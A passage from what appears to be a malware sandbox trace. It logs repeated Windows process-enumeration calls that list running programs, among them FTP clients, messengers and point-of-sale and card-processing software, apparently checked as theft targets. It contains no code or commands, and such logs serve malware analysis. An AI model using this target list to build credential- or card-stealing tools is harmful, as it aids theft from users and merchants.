lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0257.770] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0257.772] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0257.774] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0257.775] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0257.777] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0257.778] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0257.780] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0257.782] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0257.783] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0257.834] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0257.836] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0257.838] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0257.839] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0257.841] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0257.842] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0257.844] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0257.845] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0257.848] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0257.850] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0257.851] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0257.853] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0257.854] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0257.856] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0257.857] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0257.859] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0257.860] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0257.862] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0257.864] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0257.865] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0257.867] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0257.868] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0257.870] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0257.871] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0257.873] CloseHandle (hObject=0x1038) returned 1 [0257.873] Sleep (dwMilliseconds=0x64) [0257.922] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0257.933] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0257.934] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0257.936] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0257.937] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.938] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0257.940] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0257.941] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0257.943] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0257.944] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0257.945] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.947] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.948] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0257.950] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.952] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.954] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0257.956] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.006] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.008] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.010] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.011] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.013] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0258.015] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0258.016] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.018] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.020] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0258.021] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0258.023] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0258.024] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.026] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0258.027] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0258.029] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0258.030] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0258.032] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0258.033] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0258.035] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0258.036] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0258.038] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0258.040] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0258.041] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0258.042] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0258.044] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0258.045] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0258.047] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0258.048] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0258.049] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0258.110] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0258.112] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0258.114] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0258.116] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0258.118] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0258.120] Process32Next (in: hSnapshot=0x1038, 